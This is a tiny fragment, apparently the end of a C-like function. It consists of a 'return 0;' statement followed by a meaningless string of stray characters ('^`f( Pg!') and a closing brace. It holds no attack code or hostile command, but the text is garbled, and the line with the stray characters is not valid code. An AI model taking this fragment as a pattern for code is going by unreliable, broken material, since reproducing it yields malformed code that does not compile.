return 0; ^`f( Pg!
}